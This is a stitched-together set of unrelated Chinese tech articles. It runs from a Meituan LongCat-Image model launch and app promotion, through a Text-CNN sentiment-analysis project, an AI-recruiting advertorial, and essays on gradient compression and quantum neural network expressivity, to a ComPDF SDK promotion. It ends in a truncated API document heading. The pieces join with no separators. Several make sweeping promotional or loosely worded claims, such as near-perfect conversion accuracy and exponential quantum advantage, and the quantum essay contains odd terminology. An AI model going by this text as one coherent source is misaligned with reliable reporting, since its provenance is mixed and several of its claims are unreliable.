当前 AI 图像生成技术需求旺盛,但行业陷入 “两难困境”:闭源大模型性能强劲但无法自行部署或二次定制开发,开源方案普遍存在轻量化与模型性能难以兼顾、面向商用专项能力不足的痛点,制约商业创作与技术普惠。为此,美团 LongCat 团队正式发布并开源 LongCat-Image 模型,通过高性能模型架构设计、系统性的训练策略和数据工程,以6B参数规模,成功在文生图和图像编辑的核心能力维度上逼近更大尺寸模型效果,为开发者社区与产业界提供了 “高性能、低门槛、全开放” 的全新选择。

技术亮点

LongCat-Image 采用文生图与图像编辑同源的架构设计,并结合渐进式学习策略,在仅 6B 的紧凑参数规模下,实现了指令遵循精准度、生图质量与文字渲染能力的高效协同提升。尤其在单图编辑的可控性和文字生成的汉字覆盖度方面独具优势。

模型架构

亮点一:图像编辑高度可控

LongCat-Image 在图像编辑领域的多个重要基准测试中(如GEdit-Bench、ImgEdit-Bench)均达到开源SOTA水平,实现性能突破的背后在于一套紧密协同的训练范式和数据策略。为有效继承文生图模型的知识和美感,同时避免文生图后训练阶段收窄的状态空间对编辑指令多样性的限制,基于文生图Mid-training阶段模型进行初始化,并采用指令编辑与文生图多任务联合学习机制,深化对复杂多样化指令的理解。此外通过预训练阶段的多源数据及指令改写策略,以及SFT阶段引入人工精标数据,最终实现了指令遵循精准度、泛化性和编辑前后视觉一致性的共同提升。

风格迁移与属性编辑能力对比

结构编辑与构图编辑的能力对比

亮点二:中文文字生成精准覆盖

针对中文文本渲染这一行业痛点,LongCat-Image 通过课程学习策略来提升字符覆盖度和渲染精准度:预训练阶段基于千万量级合成数据学习字形,覆盖通用规范汉字表的8105个汉字;SFT 阶段引入真实世界文本图像数据,提升在字体、排版布局上的泛化能力;RL 阶段融入 OCR 与美学双奖励模型,进一步提升文本准确性与背景融合自然度。此外通过对 prompt 中指定渲染的文本采用字符级编码,大幅降低模型记忆负担,实现文字生成学习效率的跨越式提升。通过该项能力加持,有效支持海报设计、商业广告作图场景中复杂笔画结构汉字的渲染,以及古诗词插图、对联、门店招牌、文字Logo等设计场景的生僻字渲染

文字生成能力对比

此外,LongCat-Image通过系统性的数据筛选与对抗训练框架,实现了出图纹理细节和真实感的提升。预训练和中期训练阶段严格过滤AIGC数据,避免陷入“塑料感”纹理的局部最优;在SFT阶段,所有数据均经过人工精筛来对齐大众审美;在RL阶段,创新性地引入AIGC内容检测器作为奖励模型,利用其对抗信号逆向引导模型学习真实世界的物理纹理、光影和质感。

图像生成综合能力对比

性能验证

客观基准评测

客观基准测试性能对比

全面的客观基准测试充分验证了 LongCat-Image 的核心竞争力:图像编辑任务中,ImgEdit-Bench(4.50分)、 GEdit-Bench 中英文得分(7.607.64分)分别达到开源SOTA水平,且逼近头部闭源模型水平;文字渲染方面,ChineseWord 评测以 90.7 分的成绩大幅领先所有参评模型,实现常用字、生僻字的全量精准覆盖;文生图任务上,GenEval 0.87 分、DPG-Bench 86.8 分的表现,使其在生图基础能力上相比头部开源与闭源模型依然具备强竞争力。

综合主观评测

在衡量模型的通用能力时,我们始终将用户的真实体验放在首位。为此,我们采用业界公认的主观评价方法,对LongCat-Image在“文生图”与“图像编辑”两大核心场景下的表现进行了系统评估。

在文生图方面采用大规模的人工主观评分(MOS)方法,核心覆盖 文本-图像对齐、视觉合理度、视觉真实度、美学质量4个维度,LongCat-Image 的真实度相比主流开闭源模型表现出色,同时在文本-图像对齐与合理度上也达到开源SOTA水平。在图像编辑方面采用严格的并列对比评估(Side-by-Side, SBS)方法,聚焦于综合编辑质量、视觉一致性这两个用户体验的维度,评测结果表明,LongCat-Image 虽然与 Nano Banana、Seedream 4.0 等商业模型存在一定差距,但显著超越了其他开源方案。

人类主观评分(MOS)对比& 并列对比评估胜率(SBS)

开源开放

为了构建一个更透明、开放、协作的开源生态系统,我们全面开源文生图的多阶段模型(Mid-training、Post-training)和图像编辑模型,旨在无缝支持从前沿研究到商业应用的全流程。我们坚信,真正的技术进步源于社区的集体智慧。诚邀广大开发者体验模型、参与共建,让我们共同基于这个高效能模型,探索视觉生成的更多可能。

🔗 资源链接:

| Hugging Face: https://huggingface.co/meituan-longcat/LongCat-Image

| GitHub: https://github.com/meituan-longcat/LongCat-Image

零门槛解锁 AI 创作新可能

LongCat APP:一键生成专业级图像

继文生图功能上线后,「LongCat APP」全新升级图生图能力!上传任意素材(风景照、自拍照、草稿线稿均可),模型将精准捕捉核心元素,按需求生成全新图像。同步上线 24 个零门槛图片玩法模板,涵盖海报设计、人像精修、场景改造等多重场景,点击 “AI 创作” 直接套用,彻底告别 “提示词焦虑”,小白也能快速产出专业级作品。

LongCat.ai:网页端高效创作入口

进入https://longcat.ai/点击「图片生成」,可上传参考图、自由调整比例、选择心仪风格,无需复杂配置即可快速获得高质量生成结果。无论是商业设计初稿、社交媒体素材,还是个性化创意创作,都能高效完成。

扫描下方二维码即可体验 Web 端及下载 LongCat APP 安卓版本(iOS 用户可直接在 APP Store 中搜索“LongCat”)

快翻出相册里压箱底的素材,即刻使用 LongCat-Image 解锁图片创作的无限可能~

美团 LongCat 全新上线 AI 生图功能,该功能基于 LongCat 系列模型「LongCat-Image」打造而成。不仅在文生图任务中实现了“快、真、准” :出图快速响应、达到摄影棚拍摄质感、中文渲染精准度高;更在图像编辑任务上做到了精准便捷,无需复杂指令,可以用自然语言对图像进行二次编辑。无论是追求高效出图的普通用户,还是需要精准落地创意的专业创作者,LongCat 都以 “轻量化模型 + 流畅体验” ,让 AI 生图真正成为人人可用的创作工具。

目前,AI 生图功能已在 LongCat APP 和 https://longcat.ai/ 同步上线,轻松解锁高效创作新方式。

LongCat · AI 生图「三大功能亮点 」

亮点一:图像生成 + 编辑一体化,创意落地无断点

从 “文字生成图片” 到 “用嘴改图” 一步到位,帮你轻松拿捏专业创作:

  • 简单提示词也能高效出图:基于深度优化语义理解能力,简单提示词也能生成效果高度契合画面、布局、氛围及内容,在保障质量的前提下大幅提升创作效率。
  • 全场景编辑无断点:支持物体增删、风格迁移、视角转换、人像精修、文本修改等 15 类细分任务,无论是简单的背景替换,还是复杂的多轮复合指令,均能精准执行。
  • 多轮编辑不丢质感:修改后画面和原图风格、光影保持一致,不会出现 “拼接感”,人像编辑保留面部特征,多轮编辑画面不跑偏。

prompt:头发颜色变成灰色,衣服颜色变成米色,面带微笑

prompt:拉远镜头,显示更多室内场景

prompt:将人物变为棕色的熊,保持相同的姿态

prompt:消除最左边的饮料

prompt:让猫闭上眼睛

prompt:变成真的老虎,在海边

prompt:在红色圈添加一个白色的钟表,绿色框添加黑色的手提包,黑色框添加一只白色的猫

亮点二:中文文字生成超能打,生僻字也不翻车

中文文字生成能力优异,生僻字生成也不在话下:

  • 字符渲染优异:店铺牌匾、海报标题、书籍封面等场景的中文文字,无错字、漏字、字体扭曲,多行排版、段落文本均能精准渲染
  • 生僻字高覆盖率:非常见字、异体字、书法字体(楷体、行书)准确率较高,适配传统文化、专业领域等特殊创作需求
  • 智能排版:自动匹配场景调整文字大小、颜色、行距,如古风文案搭配书法字体,科技主题适配现代无衬线字体,无需手动调整

亮点三:快速生成摄影棚级质感画面

  • 快速响应不等待:轻量化技术优化让单张高清图高效生成,效率较同类工具有一定提升,高频创作无需久候。
  • 质感堪比棚拍实景:优化构图与光影美学,物体纹理、场景光影精准复刻真实世界,人物肢体、物体比例遵循物理规律,实现摄影棚拍质感。

强大功能背后的「技术底座」

LongCat-Image具备出色的跨语言图像编辑能力,通过共享 MM-DiT+Single-DiT 混合主干架构与VLM条件编码器,文生图与编辑能力相互辅助,继承文生图的出图质量并具备出色的指令遵循、一致性保持能力,在主流公开评测基准上达到第一梯队水平。文字生成专项能力上,覆盖全量通用规范汉字并在在商业海报、自然场景文字上都展现出极强的适用性。此外,通过精细化模型设计及多阶段训练策略优化,极大提升生成真实度、合理性并可支持消费级显卡高效推理。

文字生成基准测试

图像编辑基准测试性能比较

用 LongCat 记录你的「灵感瞬间」吧!

LongCat APP 体验入口:在「LongCat APP」中,你可以:输入一句话,生成高质量图像,或对生成图像进行迭代编辑、多轮生成,快速响应。

LongCat Web 端入口

您可以登录 https://longcat.ai/  ,体验高效的 AI 生图功能,或对生成图像进行多轮编辑。

iOS 用户可在 APPStore 中搜索 「LongCat」

更多玩法探索

一、项目介绍

本项目是一个基于Text-CNN深度学习模型的中文文本情感识别Web应用系统。系统采用前后端分离架构,后端使用Flask框架构建RESTful API,深度学习模型采用TensorFlow/Keras实现的Text-CNN卷积神经网络,前端框架支持跨平台访问。

系统核心功能包括用户注册登录、JWT身份认证、中文文本情感分析、批量预测处理以及历史记录管理等。系统使用jieba分词对中文文本进行预处理,通过训练好的Text-CNN模型对文本情感进行二分类判断(积极/消极),并提供直观的置信度可视化展示。系统支持用户角色管理(普通用户和管理员),实现了基于RBAC的权限控制机制,确保数据安全和用户隐私。系统采用SQLite数据库存储用户信息和预测历史,使用Flask-Migrate进行数据库版本管理,保证了系统的可维护性和可扩展性。
图片

图片

二、选题背景与意义

随着互联网技术的快速发展和社交媒体的普及,网络上产生了海量的文本数据,如用户评论、社交媒体帖子、产品评价等。这些文本数据中蕴含着丰富的情感信息,对于企业了解用户需求、改进产品服务、进行舆情监控等方面具有重要价值。传统的人工分析方式效率低下且成本高昂,无法满足大规模文本情感分析的需求,因此开发自动化的文本情感识别系统具有重要的现实意义。

中文文本情感识别相比英文更具挑战性,主要原因是中文语言的复杂性,包括分词困难、语义表达多样、网络用语丰富等特点。本系统针对中文文本特性,采用基于深度学习的Text-CNN模型进行情感分析,相比传统的机器学习方法(如SVM、朴素贝叶斯等),能够自动提取文本特征,避免了繁琐的人工特征工程,同时具有更高的准确率和更好的泛化能力。

本系统的设计和实现具有重要的理论意义和应用价值。在理论层面,探索了卷积神经网络在中文文本情感分析中的应用,验证了Text-CNN模型在中文情感二分类任务上的有效性。在应用层面,系统可应用于电商评论分析、社交媒体舆情监控、客户反馈分析等多个场景,为企业决策提供数据支持,具有广泛的实用价值。

三、关键技术栈:text-cnn

Text-CNN(Text Convolutional Neural Network)是本系统的核心深度学习模型,由Yoon Kim在2014年提出,将卷积神经网络成功应用于文本分类任务。相比传统的循环神经网络(RNN)和长短期记忆网络(LSTM),Text-CNN具有并行计算能力强、训练速度快、能够捕捉文本局部特征等优势,特别适合文本分类任务。

Text-CNN的模型结构主要包含四个部分:嵌入层(Embedding Layer)、卷积层(Convolutional Layer)、池化层(Pooling Layer)和全连接层(Fully Connected Layer)。在嵌入层,系统将预处理后的中文分词转换为密集的词向量表示,捕捉词语的语义信息。卷积层使用多个不同尺寸的卷积核(如3、4、5个词窗口)对文本进行卷积操作,提取文本的局部特征,类似于N-gram特征提取。池化层采用最大池化(Max Pooling)操作,从每个卷积核的输出中提取最重要的特征,降低特征维度并保留最显著的情感特征。全连接层将池化后的特征进行整合,通过Softmax激活函数输出分类概率。

四、技术架构图

图片

五、系统功能模块图

图片

演示视频 and 完整代码 and 安装

地址:https://www.yuque.com/ziwu/qkqzd2/py2zlsgq894x4eq6

AI已站在招聘门口,传统招聘方式正面临挑战
如今,不少招聘场景中都存在这样的困境:简历数量持续增多,但符合需求的候选人却愈发稀缺;HR 日程被面试排满,业务部门对招聘结果仍不满意;企业招人时愈发谨慎,却依然难以避免“招错人”的情况。

事实上,AI 早已不是未来的概念,而是以 AI 面系统、AI 招聘系统的形式,深度参与到招聘前端流程中,影响着候选人的筛选结果,招聘的权力结构已然发生改变。
传统招聘模式长期被三大问题困扰:初筛流程繁琐,HR 与业务面试官深陷重复面试工作;人才评价高度依赖个人经验,结果缺乏复盘依据;时间、人力成本不断增加,错招带来的损失也难以量化,这些问题直接导致招聘效率下滑,并非 HR 不够专业,而是传统工具已难以适配当下的招聘需求。
AI 招聘系统的出现,正是为了解决传统招聘的低效、主观与成本失控问题。它并非要取代 HR,而是将 HR 从大量重复、低价值的工作中解放出来,其核心优势集中在精度与体验两个方面。
在精准度上,成熟的 AI 招聘系统打分体系经过了人机对比实验验证,且通过了效标效度与重测稳定信度两项心理学核心指标检验,打分结果可直接作为招聘决策依据,让人才选拔从经验驱动转向科学判断。以先进的 AI 面试智能体为例,一道问题就能同步评估多项胜任力,衔接初筛与技术复试,整体评估效率提升 50% 以上。系统能根据候选人实时回答自由追问,深度挖掘简历关键信息与模糊点,生成递进式提问,既降低信息造假风险,也避免遗漏优质候选人。同时,它既能覆盖沟通、协作等通用胜任力评估,也能针对编程、算法等专业岗位精准出题,减轻 HR 与专业面试官的负担。
在候选人体验上,优质的 AI 面试系统会注重提升交互感受。系统能识别候选人的语速、情绪变化,像真人 HR 一样进行引导,帮助候选人发挥真实水平;面试无需手动操作开始或结束,系统自动判断回答状态并衔接下一问题,更贴近真实交流场景。在视觉与交互设计上,语音与口型匹配精度提升,减少 AI 面试的疏离感;候选人面试中可随时提问,系统能解答职位信息、公司福利等问题,帮助候选人深入了解企业与岗位。
招聘行业正在发生变革,AI 不会取代 HR,但低效、主观、不可验证的招聘方式终将被淘汰。HR 的价值正在被重新定义,智能招聘工具的应用,让招聘流程更高效、判断更精准,也为企业与候选人搭建起更优质的沟通桥梁。

梯度传输的带宽消耗始终是制约效率的关键枢纽,而梯度压缩作为突破这一瓶颈的核心手段,其真正的技术难点从未停留在压缩比例的提升,而是如何在极致削减数据传输量的同时,守住收敛稳定性的底线。很多实践者容易陷入“压缩率越高越好”的认知误区,却忽视了异步环境下各节点计算节奏差异、梯度更新延迟等因素与压缩操作的叠加效应,往往导致模型训练出现震荡加剧、收敛曲线平缓甚至倒退的问题,这种问题在千万级以上参数模型的长周期训练中表现得尤为明显,不少团队耗费大量算力资源,最终却因梯度压缩策略不当导致训练半途而废。真正的技术深耕者会发现,梯度压缩的本质并非简单的信息删减,而是梯度特征的结构化保留与噪声过滤,如何在数据量锐减的情况下,让核心梯度信息完整传递并有效作用于模型更新,才是决定训练成败的关键,这需要跳出单纯的算法优化,从梯度传播规律、节点协同逻辑、误差补偿机制等多维度构建系统性解决方案,实现效率与精度的双向平衡。

异步分布式训练的核心挑战在于各节点的独立性与全局模型的一致性之间的天然矛盾,而梯度压缩的介入会进一步放大这种矛盾,其根源在于梯度过时与压缩误差的双重叠加。在异步架构中,各工作节点独立完成本地计算后直接上传梯度,无需等待其他节点,这种模式虽然提升了资源利用率,但不同节点的计算速度、数据处理规模存在天然差异,部分节点可能因硬件性能不足或数据批次复杂,导致上传的梯度基于的是较早版本的全局参数,形成明显的梯度过时现象,这种现象在异构算力集群中更为突出,GPU节点与CPU节点的计算效率差异可能让梯度版本差达到数轮之多。当引入梯度压缩后,无论是量化操作对梯度精度的损耗,还是稀疏化对梯度维度的裁剪,都会在梯度过时的基础上增加新的误差源,这些误差如果不能得到有效管控,就会在迭代过程中不断累积,最终破坏梯度下降的整体方向,让模型参数更新偏离最优路径。解决这一问题的关键在于建立“动态感知-误差校准”的联动机制,通过实时捕捉各节点的计算状态、参数版本差异,为不同节点的压缩梯度分配动态权重,让过时程度较轻、信息密度较高的梯度获得更高的更新优先级,同时对压缩过程中丢失的细粒度特征进行合理推演补偿,从而在保持异步训练高效性的前提下,最大限度降低误差累积对收敛的影响。

梯度压缩的精度守护不能依赖单一的压缩算法优化,而需要构建“结构化保留-自适应调整”的双重保障体系,让压缩操作与训练进程深度耦合。传统的固定阈值稀疏化或均匀量化方法,之所以容易导致收敛波动,核心在于其忽略了梯度在不同训练阶段的分布特性差异——训练初期梯度分布分散,核心特征不突出,过度压缩会丢失关键更新信号,导致模型无法快速找到有效下降方向;训练后期梯度逐渐集中,冗余信息增多,但细粒度梯度对精度微调至关重要,简单的量化会抹平这些关键差异,让模型难以逼近最优收敛点。基于实践中的观察与探索,有效的做法是采用基于梯度分布特征的动态压缩策略,通过分析梯度的概率分布形态、特征重要性排序,建立层级化的保留机制,对影响模型决策的核心梯度分量采用低压缩比甚至不压缩,对冗余梯度则根据其贡献度动态调整压缩强度,比如在计算机视觉模型训练中,针对卷积层的梯度采用差异化压缩,对边缘检测相关的梯度分量重点保留。同时,将压缩策略与模型的训练状态实时联动,通过监测训练损失曲线的变化速率、参数更新的稳定性,自适应调整压缩参数,当发现收敛出现波动时,自动降低压缩强度或启动误差补偿机制,确保压缩操作始终服务于收敛目标,而非单纯追求传输效率。

误差补偿机制是梯度压缩中守护收敛稳定性的隐形核心,其设计的关键在于精准识别压缩过程中丢失的有效信息,并通过合理的推演与反馈实现损失弥补。很多压缩方案之所以失败,并非因为压缩比例过高,而是缺乏有效的误差补偿逻辑,导致每次压缩造成的信息损失不断累积,最终偏离最优收敛路径,这种累积误差在小批量训练场景中尤为致命,可能让模型在几轮迭代后就出现性能断崖式下跌。实践中发现,梯度压缩造成的误差并非随机噪声,而是具有明显的结构性特征——量化误差多集中在梯度的细粒度分量,这些分量看似对单次更新影响微小,却在长周期训练中决定着模型的最终精度;稀疏化误差则表现为部分低频但关键的梯度信号被过滤,这类信号往往与模型的泛化能力密切相关。针对这些特性,可构建双轨制误差补偿体系:一方面,通过维护本地残差梯度缓存,将每次压缩过程中丢弃的梯度信息以残差形式累积,在下一轮迭代中与新计算的梯度融合后再进行压缩,实现误差的渐进式抵消,这种方式尤其适合处理量化带来的细粒度误差;另一方面,引入梯度相关性校准机制,通过分析历史梯度更新与模型性能变化的关联规律,对当前压缩后缺失的关键特征进行合理推演,生成补偿梯度并融入全局更新过程,这种方式能有效修复稀疏化导致的低频信号丢失问题。

异步环境下的节点协同策略对梯度压缩的收敛效果具有决定性影响,其核心在于通过优化节点间的信息交互逻辑,降低压缩误差与梯度过时的叠加效应。在传统异步训练中,参数服务器被动接收各节点上传的压缩梯度并直接聚合,这种模式容易导致不同节点的梯度误差相互干扰,尤其是当部分节点的压缩梯度存在较大偏差时,会直接影响全局模型的更新方向,让收敛曲线出现剧烈震荡。通过大量实践验证,优化节点协同的关键在于建立“梯度质量评估-有序聚合”机制,参数服务器在接收压缩梯度时,首先对其质量进行多维度评估,包括梯度与当前全局参数的匹配度、压缩误差的预估大小、节点历史贡献度等,这些评估维度并非固定不变,而是根据训练阶段动态调整权重,比如训练初期侧重梯度匹配度,训练后期侧重压缩误差控制。根据评估结果对梯度进行优先级排序,优先聚合质量较高、误差较小的梯度,同时对质量较低的梯度进行适度加权衰减,降低其对全局更新的干扰,避免低质量梯度主导参数更新方向。此外,通过动态调整节点的梯度上传频率,让计算性能强、数据质量高的节点获得更频繁的上传权限,减少低质量梯度的传输与聚合,从源头降低压缩误差对收敛的负面影响,形成节点协同与梯度压缩的良性循环。

梯度压缩的收敛稳定性最终需要在大规模、长周期的训练场景中得到验证,而实践中的核心认知在于,压缩策略的设计必须兼顾精度守护与工程可行性,避免陷入“为了稳定而牺牲效率”的另一个极端。在千万级参数模型的训练实践中发现,单纯追求理论上的精度无损压缩是不现实的,合理的精度损耗是换取效率提升的必要代价,关键在于建立“损耗可控-动态平衡”的决策框架,明确模型精度的容忍阈值,这个阈值需要结合具体任务需求设定,比如工业级模型可接受1%以内的精度损耗,而科研级模型则需要控制在0.5%以下。通过设定收敛精度的容忍阈值,在训练过程中实时监测精度变化,当损耗在阈值范围内时,最大化压缩效率;当损耗超出阈值时,自动启动调整机制,通过降低压缩比、强化误差补偿等方式将精度拉回可控范围。

量子神经网络的表达能力绝非经典模型的简单升级,而是源于量子态演化带来的维度重构与关联重塑,其核心奥秘藏在希尔伯特空间的隐式拓展与量子特性的深度融合中。很多研究者容易陷入将量子优势归因于并行性的表层认知,却忽视了叠加与纠缠如何从本质上改变函数映射的底层逻辑,导致理论分析与实践落地脱节,这种认知偏差使得不少研究停留在“量子概念嫁接经典模型”的层面,未能触及量子表达能力的核心内核。真正的深层探索会发现,量子神经网络的表达能力本质是“量子态表征的结构化赋能”,它能通过非局域关联捕捉经典模型难以企及的复杂特征交互,在高频信号拟合、高维系统建模等场景中展现出指数级的表达效能,这种优势并非来自算力的线性提升,而是源于对数据内在关联的量子化重构,需要从态设计、电路架构、协同机制等多维度建立系统性的理论认知,唯有如此才能打破“量子优势停留在理论层面”的困境,让量子神经网络的表达潜力真正释放。

量子特性对表达能力的赋能并非零散作用,而是通过“叠加介导的维度拓展”与“纠缠驱动的关联强化”形成协同效应,这种协同在具体场景中呈现出独特的表达优势。在高频信号表征任务中,经典模型往往需要通过增加网络层数或参数数量来逼近信号的细微波动,却容易陷入过拟合或参数冗余的困境,甚至会因梯度消失问题导致模型无法捕捉到信号的深层特征,而量子神经网络借助叠加态对多频率分量的同步承载,能够在有限参数下实现对高频特征的精准捕捉,无需额外增加复杂度就能覆盖更广泛的特征空间。纠缠特性则让量子比特之间形成非局域关联,这种关联无需依赖数据的显式交互,就能自然刻画特征间的隐性依赖,在复杂系统建模中,比如量子化学分子结构预测,这种关联机制能有效捕捉原子间的长程相互作用,而经典模型需要通过复杂的核函数设计才能勉强逼近,且难以兼顾计算效率与拟合精度。更关键的是,这种量子赋能并非无边界,其表达效能受到量子相干时间与门操作保真度的约束,如何在特性利用与噪声管控之间找到平衡,成为理论分析必须破解的核心命题,这也是区分量子神经网络理论研究深浅的关键标尺。

量子电路的架构设计直接决定表达能力的上限与落地可行性,不同的电路结构在特征提取、维度映射、关联建模上呈现出截然不同的效能表现。输入态的设计是架构优化的起点,通过线性组合技术构建特殊输入态,能够在不增加电路深度的前提下,显著拓展量子态的可及范围,让模型在有限资源下覆盖更丰富的函数空间,比如基于相干态的输入设计,就能有效提升模型对连续变量数据的表征能力。在电路深度的选择上,过深的结构虽然能提升理论表达能力,却会因噪声累积和贫瘠高原问题导致实际表达效能下降,甚至会让模型陷入参数无法有效优化的困境,而浅层电路虽具备更好的可训练性,却可能因表达范围有限无法应对复杂任务。实践中发现,采用“层级化门操作组合”的架构设计,将单量子比特旋转门与多量子比特纠缠门交替排布,能够在深度与效能之间形成最优平衡,这种结构既通过旋转门实现特征的精细调校,又借助纠缠门构建全局关联,在图像隐式表征等场景中,能以远少于经典模型的参数实现更高的拟合准度,同时还能降低门操作的误差累积,提升模型的实际应用价值。

量子神经网络的表达边界并非固定不变,而是通过与经典系统的混合架构实现动态拓展,这种混合模式既规避了纯量子系统的硬件限制,又充分发挥了量子表达的核心优势。混合参数化量子态框架通过将量子测量结果与经典神经估计器相结合,能够有效弥补量子测量的统计不确定性,在低测量条件下依然保持稳定的表达能力,这种模式突破了纯量子模型对大规模量子比特和高精度测量设备的依赖,让量子神经网络的研究能够在现有NISQ时代的硬件条件下稳步推进。在复杂分类任务中,相比纯量子或纯经典模型,这种混合架构展现出更高的准度与鲁棒性,其核心在于分工协作的合理性——量子模块专注于高维特征的隐式映射,经典模块则负责误差补偿与细节优化,两者的协同效应远超单一系统的表现。在信号处理场景中,这种协同能让量子模块捕捉核心频率特征,经典模块则修正量子噪声带来的细微偏差,形成1+1>2的表达效能,更重要的是,混合架构为量子表达能力的工程化落地提供了可行路径,它降低了对量子硬件的苛刻要求,让量子表达的理论优势能够在现有技术条件下逐步释放,加速了量子神经网络从实验室走向实际应用的进程。

抗噪声能力是量子神经网络表达能力从理论走向实践的关键支撑,噪声的存在会直接扭曲量子态的演化轨迹,削弱叠加与纠缠的表达效能,因此构建抗噪声的表达机制成为理论分析的重要维度。量子系统的噪声主要源于环境干扰与门操作误差,这些噪声会导致量子态退相干,破坏特征映射的完整性,尤其在深层电路中,噪声的累积会让表达能力急剧下降,甚至会让量子模型的性能反超经典模型的优势荡然无存。实践中发现,通过“态保护设计”与“动态误差校准”的双重机制,能够有效缓解噪声的负面影响,态保护设计通过优化量子门的序列排布,增强量子态对环境干扰的鲁棒性,比如采用动态解耦技术,通过周期性的脉冲操作抵消环境的相干影响,延长量子态的有效相干时间。动态误差校准则借助经典算法对量子测量结果进行实时修正,抵消噪声带来的表达偏差,比如基于卡尔曼滤波的校准方法,就能有效降低测量过程中的统计误差。在含噪量子比特环境中,这种抗噪声机制能让量子神经网络在常数深度下,依然保持对经典模型的表达优势,即使面临局域随机噪声,也能通过逻辑建议态与魔法态注入协议,维持核心特征的有效映射,为量子神经网络的实际部署扫清关键障碍。

量子神经网络表达能力的理论分析最终需要回归实践适配性,脱离具体应用场景的理论探讨毫无意义,真正有价值的理论必须能够指导架构设计、参数调校与场景适配。在高频信号拟合场景中,理论分析明确了量子电路的频谱覆盖范围与门操作组合的对应关系,指导实践者通过调整旋转门的参数分布,优化对特定频率区间的表达效能,让模型能够精准捕捉到雷达信号中的微弱目标特征,这一指导作用在军事探测领域具备极高的实用价值。在分子结构建模中,基于纠缠关联的理论认知,能够帮助设计者确定量子比特的连接方式,精准捕捉原子间的长程相互作用,为新型药物分子的研发提供高效的建模工具,缩短药物研发的周期。

在当今数字化工作流中,高并发文件转档处理已成为金融、法律、企业服务等众多行业的常态。系统需要在瞬间处理海量文件请求,而保持接近完美的转换精度则是保障业务连续性与数据可靠性的核心挑战。这不仅关乎单一文件的准确度,更涉及在持续高压下,系统整体表现的稳定性与一致性

本文将深入探讨实现这一目标的技术架构与策略,并以ComPDF的转档SDK V3.0为例,解析其如何通过技术创新应对这一挑战。

一、高精度与高并发的核心矛盾与解决思路

在高并发场景下,维持高精度主要面临三大矛盾:

1.  资源竞争与处理质量:大量并发任务争夺计算资源(CPU、内存),可能导致单个任务处理不充分,进而影响布局分析、字体还原等关键环节的精度。

2.  处理速度与深度分析的平衡:追求极速转换可能迫使简化分析算法,牺牲对复杂表格、混合版式的深度识别。

3.  系统稳定性与异常处理:在高负载下,系统需保持健壮,任何微服务宕机或性能波动都可能导致批量任务失败或精度下降。

解决这些矛盾,需要从系统架构、核心算法和工程实践三个层面协同设计。

二、架构基石:为高并发高精度而生的系统设计

1.  微服务化与弹性伸缩

    *   将文档转换流程拆分为独立的微服务,如文件解析、布局分析、元素识别(AI模型)、格式渲染、输出合成等。这允许对每个环节进行独立扩容。

    *   当并发请求激增时,通过Kubernetes等编排工具,弹性伸缩负责AI推理和渲染等计算密集型服务的实例数,确保每个任务都能获得足够的计算资源以维持精度,避免因排队过长或资源不足导致处理质量下降。

2.  智能队列与优先级调度

    *   并非所有文档都同等复杂。系统可集成智能预分析模块,根据文档页数、内容密度、包含元素(如大量表格、图片)初步判断处理难度。

    *   据此实施差异化队列调度:将简单文档分配至快速通道,复杂文档分配至拥有更强算力保障的精确处理通道。这种资源精细化调度是保证整体吞吐量与高精度并存的关键。

3.  状态持久化与断点续转

    *   在高并发环境下,任何节点故障都可能发生。必须将每个转换任务的中间状态和进度持久化到可靠的分布式存储中。

    *   一旦某个处理节点失败,任务能被迅速重新调度至其他节点,并从断点处继续,避免整个文档转换重头开始,这对处理到一半的大型文件至关重要,既节省资源,也保障了任务完成的可靠性。

三、精度引擎:ComPDF转档SDK V3.0的技术实践

ComPDF的转档SDK V3.0的设计体现了上述架构思想,并通过多项核心技术,将高并发下的高精度转化为了可实现的指标

1. AI驱动的混合布局分析技术

这是其实现高精度的核心。传统转换SDK往往只能在“流式布局”(利于编辑,但易失真)和“固定布局”(保持原貌,但编辑困难)间二选一。

  • 技术突破:V3.0版本集成了PP-YOLOE AI模型,并升级了布局分析算法,创新性地采用了智能混合布局技术。它能动态分析文档不同区域的特征,智能结合流式与固定布局的优势。
  • 精度影响:此举能99%准确还原多栏排版、图文混排、目录等复杂结构,同时保持内容的自然阅读顺序。在高并发时,该AI模型以服务化部署,通过弹性伸缩保障每个文档的布局分析深度,这是维持高精度的算法基础。

2. 像素级元素识别与恢复

精度体现在细节。V3.0的AI模型经过海量文档训练,能识别超过30种文档元素类型。

  • 关键改进:通过像素级精准分析,有效防止了将页眉、页脚内容误判为正文,同时将段落间距和行高的还原准确率提升了80%
  • 高并发适配:这种精细化的识别能力,确保系统即使在批量处理时,也不会因为“赶工”而忽略细节。统一的AI模型服务确保了处理标准的一致性,无论第1个还是第1000个并发任务,都能获得相同的识别精度。

3. 企业级性能与批量处理优化

高精度离不开性能支撑。V3.0通过重构数据结构和转换流水线,实现了效率飞跃。

  • 性能数据:支持数千页文档秒级批量转换,平均处理速度达到每页0.5–0.8秒,且整体处理速度比以往提升50%。
  • 高并发意义:极高的单任务处理速度,直接降低了系统在单位时间内的平均负载,为应对并发洪峰留下了更多资源余量。快速处理也意味着更短的队列等待时间,减少了任务因排队超时或资源调度延迟而出错的风险。

四、超越SDK:构建全链路保障体系

仅依靠一个强大的SDK并不足够。在生产环境中,围绕它构建全链路保障体系至关重要:

1.  渐进式负载测试与降级策略

    *   在上线前,必须进行远高于预估峰值的负载测试,观察在不同压力下转换精度的变化曲线,找到性能拐点。

    *   制定清晰的服务降级策略。例如,当系统负载超过阈值80%时,可自动暂时关闭对“高保真图片嵌入”等非核心但耗资源功能的支持,优先保障正文、表格等核心元素的转换精度,实现“精度有损,服务可用”。

2.  多维度的监控与告警

    *   监控指标不应仅有CPU、内存和QPS(每秒查询率),更需包含业务精度指标。例如,通过抽样对比,监控“表格结构保持率”、“字体属性正确率”的时序变化。

    *   设置精度阈值告警(如批次任务平均精度跌破99.9%),使运维团队能在用户体验受影响前主动干预。

3.  持续的回流验证与模型迭代

    *   建立自动化回流验证管道,定期抽取生产环境中已处理的文档,进行精度复核。

    *   将发现的问题案例(如特定版式的转换缺陷)加入训练集,持续迭代优化SDK内部的AI模型,形成一个从线上问题到模型改进的闭环,让系统精度在动态中持续进化。

结论

在高并发场景下坚守99.99%的文档转换精度,是一项系统性的工程。它要求我们将弹性可扩展的微服务架构智能精准的核心算法以及严谨的全链路工程实践三者深度融合。

其终极目标,是在流量洪峰中,让每一份文档的转换,都如同在静水中处理一样精准、可靠。这不仅是技术的胜利,更是对业务连续性与数据价值的最坚实保障。

GET_DRAFT API 接口文档

接口信息

GET /openapi/capcut-mate/v1/get_draft

功能描述

